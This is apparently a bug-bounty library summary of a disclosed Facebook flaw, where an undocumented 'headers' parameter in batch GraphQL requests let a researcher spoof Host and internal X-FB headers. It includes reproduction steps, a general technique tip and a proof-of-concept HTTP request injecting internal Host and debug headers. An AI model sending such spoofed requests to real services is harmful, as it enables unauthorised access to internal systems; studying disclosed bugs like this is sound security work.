# Header spoofing via a hidden parameter in Facebook Batch GraphQL APIs

Undocumented `headers` parameter in Facebook batch GraphQL requests lets attackers set arbitrary Host and internal X-FB headers, enabling host-header spoofing and potential SSRF.

- Payout: $3,000
- Severity: medium
- Program: Meta / Facebook
- Found by: David Schütz (@xdavidhu)
- Disclosed: 2022-11-21
- Write-up quality: 6/10
- Original: https://feed.bugs.xdavidhu.me/bugs/0017
- Library page: https://bugbountylibrary.com/r/blog%3Afeed-bugs-xdavidhu-me-bugs-0017
- Tags: area:web domain:api domain:web impact:internal-access kind:bounty platform:blog sev:medium tech:graphql technique:source-review vuln:host-header vuln:ssrf

**Target:** GraphQL batch endpoint (b-graph.workplace.com / graph batch service)
**Root cause:** The batch request handler accepts an undocumented `headers` array per batch item and forwards those headers to the backend virtual host, bypassing the loadbalancer that normally strips/controls Host and internal X-FB headers.
**Steps:**
1. Send a POST to `b-graph.workplace.com` with a `batch=[...]` body containing a `headers` array.
2. Include `Host: graph.intern.facebook.com` and `X-FB-Debug: True` in the headers array of the batch item.
3. Observe redirects/errors differing per Host value, confirming virtual-host routing.
4. Set `Host: m.intern.facebook.com` to get a 404/login redirect revealing the internal `/graph/server.php?_fb_url=...` call structure.
**How found:** Reading batch API docs, discovered undocumented `headers` parameter; probed Host header behavior across internal domains and compared X-FB-Debug responses between direct and batched requests to infer the batch service hits the app directly, bypassing the loadbalancer.
**Exploitation:** Attacker crafts a batch item with a `headers` array to inject Host and internal X-FB headers into the backend request, causing the batch service to route to arbitrary virtual hosts and potentially spoof headers the app trusts from the loadbalancer.
**Escalation:** Attempted to spoof X-FB-Client-IP-Forwarded to spoof source IP on GraphQL actions (unsuccessful); noted other internal headers trusted from loadbalancer could be spoofed.
**Insight:** When a batching/proxy endpoint exposes a per-item `headers` array, compare debug-header behavior between direct and batched requests to detect whether the loadbalancer is bypassed, then try spoofing headers the app trusts from that middleman.

## Proof of concept (copied exactly from the original report)

**Batch request with spoofed Host and X-FB-Debug headers**

```
POST /?include_headers=true&decode_body_json=false&streamable_json_response=false&locale=en_US&client_country_code=HU HTTP/1.1
Host: b-graph.workplace.com
Priority: u=3, i
Authorization: OAuth [redacted]
X-Fb-Sim-Hni: 21601
X-Fb-Connection-Type: unknown
User-Agent:
Content-Type: application/x-www-form-urlencoded
X-Fb-Device-Group: 6066
X-Tigon-Is-Retry: False
X-Fb-Friendly-Name: handleLogin
X-Fb-Request-Analytics-Tags: unknown
Accept-Encoding: gzip, deflate
X-Fb-Http-Engine: Liger
X-Fb-Client-Ip: True
X-Fb-Server-Cluster: True
Content-Length: 213
Connection: close

batch=[{"headers": ["Host: graph.intern.facebook.com", "X-FB-Debug: True"], "method":"GET","body":"asd","name":"fetchViewerLoginAudienceInfo","omit_response_on_success":false,"relative_url":"/intern/api/graphql"}]
```

